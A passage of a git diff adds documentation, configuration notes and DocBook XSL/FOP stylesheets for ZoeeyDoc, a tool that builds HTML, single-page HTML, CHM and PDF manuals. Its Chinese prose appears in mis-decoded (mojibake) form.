    + é…置文件 + + 文档项目下config.kv 文件为项目é…置文件。 + + + 生æˆsingle-htmlçš„é…ç½® + + # single html + +single.in = "docs/books/zoeeydoc/userguide.xml" 主文档,一般为 book。 +single.xsl = "docs/books/zoeeydoc/xsl/single/htmlsingle.xsl" xsl转æ¢å®šä¹‰æ–‡ä»¶ï¼Œå…¶å¼•å…¥docbook-xsl +single.file = "docs/target/zoeeydoc/single/userguide.html" 输出目标文件 +single.outdir = "docs/target/zoeeydoc/single/" 输出目标文件夹 +single.zip = "docs/target/zoeeydoc/single/zoeeydoc.zip" 压缩文件文件å +single.header = "docs/books/zoeeydoc/xsl/single/header.html" 在输出的html中,在generatoråŽè‡ªåŠ¨å¡«å……的内容 +# æ–‡ä»¶æ‹·è´ +single.copy[image] = "docs/books/zoeeydoc/images" +single.target[image] = "docs/target/zoeeydoc/single/images" +single.copy[css] = "docs/books/zoeeydoc/css/single" +single.target[css] = "docs/target/zoeeydoc/single/css" + + + + 生æˆhtmlçš„é…ç½® + + # html + +html.in = "docs/books/zoeeydoc/userguide.xml" 主文档,一般为 book。 +html.xsl = "docs/books/zoeeydoc/xsl/html/html.xsl" xsl转æ¢å®šä¹‰æ–‡ä»¶ï¼Œå…¶å¼•å…¥docbook-xsl +html.outdir = "docs/target/zoeeydoc/html" 输出目标文件夹 +html.zip = "docs/target/zoeeydoc/html/zoeeydoc.zip" 压缩文件文件å +html.header = "docs/books/zoeeydoc/xsl/html/header.html" 在输出的html中,在generatoråŽè‡ªåŠ¨å¡«å……的内容 +# æ–‡ä»¶æ‹·è´ +html.copy[image] = "docs/books/zoeeydoc/images" +html.target[image] = "docs/target/zoeeydoc/html/images" +html.copy[css] = "docs/books/zoeeydoc/css/html" +html.target[css] = "docs/target/zoeeydoc/html/css" + + + + 生æˆchmçš„é…ç½® + + # chm + +chm.in = "docs/books/zoeeydoc/userguide.xml" 主文档,一般为 book。 +chm.xsl = "docs/books/zoeeydoc/xsl/chm/chm.xsl" xsl转æ¢å®šä¹‰æ–‡ä»¶ï¼Œå…¶å¼•å…¥docbook-xsl +chm.outdir = "docs/target/zoeeydoc/chm" 输出目标文件夹 +chm.header = "docs/books/zoeeydoc/xsl/chm/header.html" 在输出的html中,在generatoråŽè‡ªåŠ¨å¡«å……的内容 +# hhc.exe 的路径 +chm.hhc = "C:/Program Files/HTML Help Workshop/hhc.exe" +# æ–‡ä»¶æ‹·è´ +chm.copy[image] = "docs/books/zoeeydoc/images" +chm.target[image] = "docs/target/zoeeydoc/chm/images" +chm.copy[css] = "docs/books/zoeeydoc/css/html" +chm.target[css] = "docs/target/zoeeydoc/chm/css" + + + + hhc.exe的路径为ç»å¯¹è·¯å¾„,请ä¾ç…§è‡ªèº«çš„情况进行修改。 + + 下载 hhc: Microsoft HTML Help + Downloads + + + + 生æˆpdfçš„é…ç½® + + # single html + +pdf.outdir = "docs/target/zoeeydoc/pdf/" 输出目标文件夹 +pdf.fop = "docs/books/zoeeydoc/xsl/pdf/fop.xml" 输入fopé…置文件(字体设置在内) +pdf.in = "docs/books/zoeeydoc/userguide.xml" 主文档,一般为 book +pdf.xsl = "docs/books/zoeeydoc/xsl/pdf/pdf.xsl" xsl转æ¢å®šä¹‰æ–‡ä»¶ï¼Œå…¶å¼•å…¥docbook-xsl +pdf.pdf = "docs/target/zoeeydoc/pdf/zoeeydoc.pdf" 输出目标文件 + +# æ–‡ä»¶æ‹·è´ +pdf.copy[fonts.georgia] = "%SystemRoot%/Fonts/georgia.ttf" %SystemRoot% 为系统å˜é‡ SystemRoot +pdf.target[fonts.georgia] = "docs/zips/cache/fonts/georgia.ttf" æ‹·è´åˆ°fonts文件夹下的ttf字体将会被自动生æˆæ述文件 + +
    +
    diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/quickstart.xml b/tools/ZoeeyDoc/docs/books/zoeeydoc/quickstart.xml new file mode 100644 index 0000000..57cf50f --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/quickstart.xml @@ -0,0 +1,115 @@ + + + 快速入门<indexterm> + <primary>quickstart</primary> + </indexterm> + + ZoeeyDoc.Jar è¿è¡Œå‚数说明 + help + + + + + -h/--help + + + 打å°å¸®åŠ©æ–‡æ¡£ + + + + + -c/--clean + + + 清ç†ç¼“存文件。 + + + + + -t/--type + + + 转æ¢ç›®æ ‡ç±»åž‹ï¼ˆchm,html,single/singlehtml),默认为 html。 + + + + + -b/--book + + + 文档目录。 "config.kv" 为é…置文件。 + + + + + 下é¢ä¸¾å‡ ä¸ªç®€å•çš„例å­ã€‚ + + + 示例 + + # 获å–帮助 +java -jar ZoeeyDoc.jar -h + +# ç”Ÿæˆ html +java -jar ZoeeyDoc.jar -b docs/books/zoeeydoc -t html + + +# ç”Ÿæˆ single html +java -jar ZoeeyDoc.jar -b docs/books/zoeeydoc -t single + + +# ç”Ÿæˆ chm (需è¦æŒ‡å®šhhc目录) +java -jar ZoeeyDoc.jar -b docs/books/zoeeydoc -t chm + + + 以生æˆZoeeyDoc的使用手册为例,在第一次è¿è¡Œæ—¶ï¼š + + + 生æˆzoeeydoc.chm + + d:\dist>java -jar ZoeeyDoc.jar -t chm -b docs/books/zoeeydoc + +----------------------------------- +生æˆç±»åž‹ï¼šChm +æ‹·è´æ–‡ä»¶ï¼š +æ¥æºï¼šd:\dist\docs\books\zoeeydoc\images +目标:d:\dist\docs\target\zoeeydoc\chm\images +æ‹·è´æ–‡ä»¶ï¼š +æ¥æºï¼šd:\dist\docs\books\zoeeydoc\css\html +目标:d:\dist\docs\target\zoeeydoc\chm\css +Cannot find CatalogManager.properties +file:/d:/dist/docs/zips/cache/docbook-xsl/common/utility.xsl +; è¡Œå·189; 列å·16; Note: namesp. cut : stripped namespace before processing + ZoeeyDoc +file:/d:/dist/docs/zips/cache/docbook-xsl/common/utility.xsl +; è¡Œå·189; 列å·16; Note: namesp. cut : processing stripped document + ZoeeyDoc +file:/d:/dist/docs/zips/cache/docbook-xsl/html/chunker.xsl; +è¡Œå·98; 列å·18; Writing task.list.html for preface(task.list) +file:/d:/dist/docs/zips/cache/docbook-xsl/html/chunker.xsl; +è¡Œå·98; 列å·18; Writing index.html for book +file:/d:/dist/docs/zips/cache/docbook-xsl/html/chunker.xsl; +è¡Œå·98; 列å·18; Writing htmlhelp.hhp +file:/d:/dist/docs/zips/cache/docbook-xsl/html/chunker.xsl; +è¡Œå·98; 列å·18; Writing toc.hhc +file:/d:/dist/docs/zips/cache/docbook-xsl/html/chunker.xsl; +è¡Œå·98; 列å·18; Writing index.hhk +----------------------------------- +编译CHM: +d:\dist\docs\target\zoeeydoc\chm\htmlhelp.hhp +编译完æˆã€‚ +----------------------------------- +zoeeydoc.chm 校验ç ç”Ÿæˆå®Œæ¯•ï¼š +checksum +md5:710179fccb5941a68face3e3191a3ca7 +sha1:9a057b91347979d2f57db66a2a6ccde452f09023 +----------------------------------- + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/userguide.xml b/tools/ZoeeyDoc/docs/books/zoeeydoc/userguide.xml new file mode 100644 index 0000000..143a383 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/userguide.xml @@ -0,0 +1,118 @@ + + + + ZoeeyDoc 用户手册 + + + zoeey.org@gmail.com + + + 2011-03-04 + + + + + + + + + + é¡¹ç›®ä»‹ç» + + ZoeeyDoc是一个docbookæ–‡æ¡£æž„å»ºå·¥å…·ï¼Œæ”¯æŒ single-htmlã€htmlã€chmã€pdf + 等格å¼å¯¼å‡ºã€‚对中文支æŒè‰¯å¥½ã€‚ + + + 优点 + + + + çº¯æ–‡æœ¬æ ¼å¼ + + + 基于xml,纯文本格å¼æ–¹ä¾¿ç‰ˆæœ¬æŽ§åˆ¶ã€‚章节å¯åˆ†ä¸ºç‹¬ç«‹çš„文件和目录进行编辑。 + + + + + 多格å¼å‘布 + + + ç»è¿‡ä¸€æ¬¡ä¹¦å†™ä¾¿å¯ä»¥è¾“出htmlã€chmã€pdf等众多格å¼ï¼Œæžå¤§çš„方便了阅读。 + + + + + æŽ’ç‰ˆæ ¼å¼ + + + 排版格å¼ç²¾è‰¯ã€‚docbook与专业排版工具TeX实力相当。常用æ¥åˆ¶ä½œå‡ºç‰ˆå‘行物ã€ä¸“业论文ã€è½¯ä»¶æ‰‹å†Œç­‰ã€‚ + + + + + æ ¼å¼è§„范 + + + 纯xmlæ ¼å¼ï¼Œæœ‰ä¼—多编辑工具,格å¼è§„范便于自动检验。 + + + + + ä¸­æ–‡æ”¯æŒ + + + 良好的中文支æŒè‡ªåŠ¨å¼•ç”¨ç³»ç»Ÿå­—体生æˆpdf所需的字体æ述文件。 + + + + + è‡ªåŠ¨åŒ–æ”¯æŒ + + + 采用纯命令行形å¼ï¼Œå¯æ–¹ä¾¿çš„加入到å„类自动构建工具中。 + + + + + 人工æœåŠ¡ + + + 本地化,中文在线问题疑难解答。 + + + + + 其他 + + + 生æˆsingle-htmlã€html等格å¼ä¼šè‡ªåŠ¨æ‰“包为zip文件。且zipã€pdfã€chm等文件会自动生æˆchecksum + 校验文件。 + + + + + + + 示例项目 + + http://code.google.com/p/cnphpdocs/ + ã€å«æ–‡æ¡£æºç ã€å„æ ¼å¼ä¸‹è½½ã€‘ + + http://code.google.com/p/yafphp/ + ã€å«æ–‡æ¡£æºç ã€‘ + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/chm/chm-style.xsl b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/chm/chm-style.xsl new file mode 100644 index 0000000..314a5ba --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/chm/chm-style.xsl @@ -0,0 +1,88 @@ + + + + + + + + gb2312 + gb2312 + + + + + + + + + + + zoeeydoc.chm + + + + + + + + + + images/ + .gif + + images/callouts/ + .gif + + + css/styles.css + text/css + book toc,title + + text-align: left + + + + + + + + + + + + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/chm/chm-titlepage.xsl b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/chm/chm-titlepage.xsl new file mode 100644 index 0000000..258468a --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/chm/chm-titlepage.xsl @@ -0,0 +1,214 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + +
    + + + + + + + + + + + + + + 1 + + + +
    + +
    +
    + + + + + + + + + + + + + + 1 + + + +
    + +
    +
    + +
    +
    + + + + + + + + + + + + + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + +
    diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/chm/chm.xsl b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/chm/chm.xsl new file mode 100644 index 0000000..2a93ebf --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/chm/chm.xsl @@ -0,0 +1,30 @@ + + + + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/chm/header.html b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/chm/header.html new file mode 100644 index 0000000..e69de29 diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/html/header.html b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/html/header.html new file mode 100644 index 0000000..e69de29 diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/html/html-style.xsl b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/html/html-style.xsl new file mode 100644 index 0000000..19a17d2 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/html/html-style.xsl @@ -0,0 +1,61 @@ + + + + + + + utf-8 + utf-8 + + + + images/ + .gif + + images/callouts/ + .gif + + + css/styles.css + text/css + book toc,title + + text-align: left + + + + + + + + + + + + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/html/html-titlepage.xsl b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/html/html-titlepage.xsl new file mode 100644 index 0000000..258468a --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/html/html-titlepage.xsl @@ -0,0 +1,214 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + +
    + + + + + + + + + + + + + + 1 + + + +
    + +
    +
    + + + + + + + + + + + + + + 1 + + + +
    + +
    +
    + +
    +
    + + + + + + + + + + + + + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + + +
    + +
    +
    + +
    diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/html/html.xsl b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/html/html.xsl new file mode 100644 index 0000000..5d1c7f5 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/html/html.xsl @@ -0,0 +1,29 @@ + + + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/pdf/fop.xml b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/pdf/fop.xml new file mode 100644 index 0000000..aa933bf --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/pdf/fop.xml @@ -0,0 +1,219 @@ + + + + + + + + + + + + + docs/zips/cache/fonts/ + + 72 + + 72 + + + + + + + + + + + flate + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/pdf/pdf-style.xsl b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/pdf/pdf-style.xsl new file mode 100644 index 0000000..6227b1b --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/pdf/pdf-style.xsl @@ -0,0 +1,338 @@ + + + + + + + + '1' + docs/zips/cache/docbook-xsl/images/ + + + + + + + + + + + + + + .png + 1 + + + + + + + + + + -5em + -5em + + + + + + book toc,title + + + + + + + + + + + + + + + + + + please define productname in your docbook file! + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 1 + 0 + 0 + 1 + + + + + 0 + 0 + 0 + + + + false + + + 1.4 + + + zh_cn + zh_cn + + + 'Georgia','Song' + 'Georgia','Heiti' + 'Georgia','FangSong' + 'Georgia','FangSong' + 9 + 9pt + 0.8em + + + + + + 4pt + 4pt + 4pt + 4pt + + + + 0.1pt + 0.1pt + + + + + + + + + + + + + + + 1em + 1em + 1em + + + + #444444 + solid + 0.1pt + 0.5em + 0.5em + 0.5em + 0.5em + 0.5em + 0.5em + + + + 1 + + #F0F0F0 + + + + 0.1em + 0.1em + 0.1em + 0.1em + 0.1em + 0.1em + + + + 0.5em + 0.5em + 0.5em + 0.1em + 0.1em + 0.1em + always + + + + + + normal + italic + + + pt + + false + 0.1em + 0.1em + 0.1em + + + + + + 0 + 1 + + + 90 + + + + + + figure after + example after + equation before + table before + procedure before + + + + 1 + + 0pt + + + + + + + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/pdf/pdf-titlepage.xml b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/pdf/pdf-titlepage.xml new file mode 100644 index 0000000..d617043 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/pdf/pdf-titlepage.xml @@ -0,0 +1,97 @@ + + + + + + + + + + + + + + + + +]> + + + + + + <subtitle + text-align="center" + font-size="&hsize4;" + space-before="&hsize4space;" + font-family="{$title.fontset}"/> + + <corpauthor space-before="0.5em" + font-size="&hsize2;"/> + <authorgroup space-before="0.5em" + font-size="&hsize2;"/> + <author space-before="0.5em" + font-size="&hsize2;"/> + + <othercredit space-before="0.5em"/> + <mediaobject space-before="2em" space-after="2em"/> + <releaseinfo space-before="5em"/> + <copyright space-before="0.5em"/> + <legalnotice text-align="start" + margin-left="0.5in" + margin-right="0.5in" + font-family="{$body.fontset}"/> + <pubdate space-before="0.5em"/> + <revision space-before="0.5em"/> + <revhistory space-before="0.5em"/> + <abstract space-before="0.5em" + text-align="start" + margin-left="0.5in" + margin-right="0.5in" + font-family="{$body.fontset}"/> + </t:titlepage-content> + + <t:titlepage-content t:side="verso"> + </t:titlepage-content> + + <t:titlepage-separator> + </t:titlepage-separator> + + <t:titlepage-before t:side="recto"> + </t:titlepage-before> + + <t:titlepage-before t:side="verso"> + </t:titlepage-before> +</t:titlepage> + +<!-- ==================================================================== --> + +</t:templates> diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/pdf/pdf-titlepage.xsl b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/pdf/pdf-titlepage.xsl new file mode 100644 index 0000000..911a099 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/pdf/pdf-titlepage.xsl @@ -0,0 +1,203 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" version="1.0" exclude-result-prefixes="exsl"> + +<!-- This stylesheet was created by template/titlepage.xsl--> + +<xsl:template name="book.titlepage.recto"> + <xsl:choose> + <xsl:when test="bookinfo/title"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/title"/> + </xsl:when> + <xsl:when test="info/title"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/title"/> + </xsl:when> + <xsl:when test="title"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="title"/> + </xsl:when> + </xsl:choose> + + <xsl:choose> + <xsl:when test="bookinfo/subtitle"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/subtitle"/> + </xsl:when> + <xsl:when test="info/subtitle"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/subtitle"/> + </xsl:when> + <xsl:when test="subtitle"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="subtitle"/> + </xsl:when> + </xsl:choose> + + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/corpauthor"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/corpauthor"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/authorgroup"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/authorgroup"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/author"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/author"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/othercredit"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/othercredit"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/mediaobject"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/mediaobject"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/releaseinfo"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/releaseinfo"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/copyright"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/copyright"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/legalnotice"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/legalnotice"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/pubdate"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/pubdate"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/revision"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/revision"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/revhistory"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/revhistory"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/abstract"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/abstract"/> +</xsl:template> + +<xsl:template name="book.titlepage.verso"> +</xsl:template> + +<xsl:template name="book.titlepage.separator"> +</xsl:template> + +<xsl:template name="book.titlepage.before.recto"> +</xsl:template> + +<xsl:template name="book.titlepage.before.verso"> +</xsl:template> + +<xsl:template name="book.titlepage"> + <fo:block xmlns:fo="http://www.w3.org/1999/XSL/Format"> + <xsl:variable name="recto.content"> + <xsl:call-template name="book.titlepage.before.recto"/> + <xsl:call-template name="book.titlepage.recto"/> + </xsl:variable> + <xsl:variable name="recto.elements.count"> + <xsl:choose> + <xsl:when test="function-available('exsl:node-set')"><xsl:value-of select="count(exsl:node-set($recto.content)/*)"/></xsl:when> + <xsl:when test="contains(system-property('xsl:vendor'), 'Apache Software Foundation')"> + <!--Xalan quirk--><xsl:value-of select="count(exsl:node-set($recto.content)/*)"/></xsl:when> + <xsl:otherwise>1</xsl:otherwise> + </xsl:choose> + </xsl:variable> + <xsl:if test="(normalize-space($recto.content) != '') or ($recto.elements.count > 0)"> + <fo:block><xsl:copy-of select="$recto.content"/></fo:block> + </xsl:if> + <xsl:variable name="verso.content"> + <xsl:call-template name="book.titlepage.before.verso"/> + <xsl:call-template name="book.titlepage.verso"/> + </xsl:variable> + <xsl:variable name="verso.elements.count"> + <xsl:choose> + <xsl:when test="function-available('exsl:node-set')"><xsl:value-of select="count(exsl:node-set($verso.content)/*)"/></xsl:when> + <xsl:when test="contains(system-property('xsl:vendor'), 'Apache Software Foundation')"> + <!--Xalan quirk--><xsl:value-of select="count(exsl:node-set($verso.content)/*)"/></xsl:when> + <xsl:otherwise>1</xsl:otherwise> + </xsl:choose> + </xsl:variable> + <xsl:if test="(normalize-space($verso.content) != '') or ($verso.elements.count > 0)"> + <fo:block><xsl:copy-of select="$verso.content"/></fo:block> + </xsl:if> + <xsl:call-template name="book.titlepage.separator"/> + </fo:block> +</xsl:template> + +<xsl:template match="*" mode="book.titlepage.recto.mode"> + <!-- if an element isn't found in this mode, --> + <!-- try the generic titlepage.mode --> + <xsl:apply-templates select="." mode="titlepage.mode"/> +</xsl:template> + +<xsl:template match="*" mode="book.titlepage.verso.mode"> + <!-- if an element isn't found in this mode, --> + <!-- try the generic titlepage.mode --> + <xsl:apply-templates select="." mode="titlepage.mode"/> +</xsl:template> + +<xsl:template match="title" mode="book.titlepage.recto.auto.mode"> +<fo:block xmlns:fo="http://www.w3.org/1999/XSL/Format" xsl:use-attribute-sets="book.titlepage.recto.style" text-align="center" font-size="24.8832pt" space-before="18.6624pt" font-weight="bold" font-family="{$title.fontset}"> +<xsl:call-template name="division.title"> +<xsl:with-param name="node" select="ancestor-or-self::book[1]"/> +</xsl:call-template> +</fo:block> +</xsl:template> + +<xsl:template match="subtitle" mode="book.titlepage.recto.auto.mode"> +<fo:block xmlns:fo="http://www.w3.org/1999/XSL/Format" xsl:use-attribute-sets="book.titlepage.recto.style" text-align="center" font-size="20.736pt" space-before="15.552pt" font-family="{$title.fontset}"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</fo:block> +</xsl:template> + +<xsl:template match="corpauthor" mode="book.titlepage.recto.auto.mode"> +<fo:block xmlns:fo="http://www.w3.org/1999/XSL/Format" xsl:use-attribute-sets="book.titlepage.recto.style" space-before="0.5em" font-size="14.4pt"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</fo:block> +</xsl:template> + +<xsl:template match="authorgroup" mode="book.titlepage.recto.auto.mode"> +<fo:block xmlns:fo="http://www.w3.org/1999/XSL/Format" xsl:use-attribute-sets="book.titlepage.recto.style" space-before="0.5em" font-size="14.4pt"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</fo:block> +</xsl:template> + +<xsl:template match="author" mode="book.titlepage.recto.auto.mode"> +<fo:block xmlns:fo="http://www.w3.org/1999/XSL/Format" xsl:use-attribute-sets="book.titlepage.recto.style" space-before="0.5em" font-size="14.4pt"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</fo:block> +</xsl:template> + +<xsl:template match="othercredit" mode="book.titlepage.recto.auto.mode"> +<fo:block xmlns:fo="http://www.w3.org/1999/XSL/Format" xsl:use-attribute-sets="book.titlepage.recto.style" space-before="0.5em"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</fo:block> +</xsl:template> + +<xsl:template match="mediaobject" mode="book.titlepage.recto.auto.mode"> +<fo:block xmlns:fo="http://www.w3.org/1999/XSL/Format" xsl:use-attribute-sets="book.titlepage.recto.style" space-before="2em" space-after="2em"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</fo:block> +</xsl:template> + +<xsl:template match="releaseinfo" mode="book.titlepage.recto.auto.mode"> +<fo:block xmlns:fo="http://www.w3.org/1999/XSL/Format" xsl:use-attribute-sets="book.titlepage.recto.style" space-before="5em"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</fo:block> +</xsl:template> + +<xsl:template match="copyright" mode="book.titlepage.recto.auto.mode"> +<fo:block xmlns:fo="http://www.w3.org/1999/XSL/Format" xsl:use-attribute-sets="book.titlepage.recto.style" space-before="0.5em"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</fo:block> +</xsl:template> + +<xsl:template match="legalnotice" mode="book.titlepage.recto.auto.mode"> +<fo:block xmlns:fo="http://www.w3.org/1999/XSL/Format" xsl:use-attribute-sets="book.titlepage.recto.style" text-align="start" margin-left="0.5in" margin-right="0.5in" font-family="{$body.fontset}"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</fo:block> +</xsl:template> + +<xsl:template match="pubdate" mode="book.titlepage.recto.auto.mode"> +<fo:block xmlns:fo="http://www.w3.org/1999/XSL/Format" xsl:use-attribute-sets="book.titlepage.recto.style" space-before="0.5em"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</fo:block> +</xsl:template> + +<xsl:template match="revision" mode="book.titlepage.recto.auto.mode"> +<fo:block xmlns:fo="http://www.w3.org/1999/XSL/Format" xsl:use-attribute-sets="book.titlepage.recto.style" space-before="0.5em"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</fo:block> +</xsl:template> + +<xsl:template match="revhistory" mode="book.titlepage.recto.auto.mode"> +<fo:block xmlns:fo="http://www.w3.org/1999/XSL/Format" xsl:use-attribute-sets="book.titlepage.recto.style" space-before="0.5em"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</fo:block> +</xsl:template> + +<xsl:template match="abstract" mode="book.titlepage.recto.auto.mode"> +<fo:block xmlns:fo="http://www.w3.org/1999/XSL/Format" xsl:use-attribute-sets="book.titlepage.recto.style" space-before="0.5em" text-align="start" margin-left="0.5in" margin-right="0.5in" font-family="{$body.fontset}"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</fo:block> +</xsl:template> + +</xsl:stylesheet> diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/pdf/pdf.xsl b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/pdf/pdf.xsl new file mode 100644 index 0000000..636f0ac --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/pdf/pdf.xsl @@ -0,0 +1,30 @@ +<?xml version="1.0" encoding="UTF-8"?> + +<!-- + Licensed to the Apache Software Foundation (ASF) under one + or more contributor license agreements. See the NOTICE file + distributed with this work for additional information + regarding copyright ownership. The ASF licenses this file + to you under the Apache License, Version 2.0 (the + "License"); you may not use this file except in compliance + with the License. You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, + software distributed under the License is distributed on an + "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + KIND, either express or implied. See the License for the + specific language governing permissions and limitations + under the License. +--> + +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" + version='1.0'> + + <xsl:import href="../../../../zips/cache/docbook-xsl/fo/docbook.xsl" /> + <xsl:import href="pdf-style.xsl" /> + <xsl:include href="pdf-titlepage.xsl" /> + +</xsl:stylesheet> + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/single/header.html b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/single/header.html new file mode 100644 index 0000000..e69de29 diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/single/htmlsingle-style.xsl b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/single/htmlsingle-style.xsl new file mode 100644 index 0000000..f3190fd --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/single/htmlsingle-style.xsl @@ -0,0 +1,60 @@ +<?xml version="1.0" encoding="UTF-8"?> + +<!-- + Licensed to the Apache Software Foundation (ASF) under one + or more contributor license agreements. See the NOTICE file + distributed with this work for 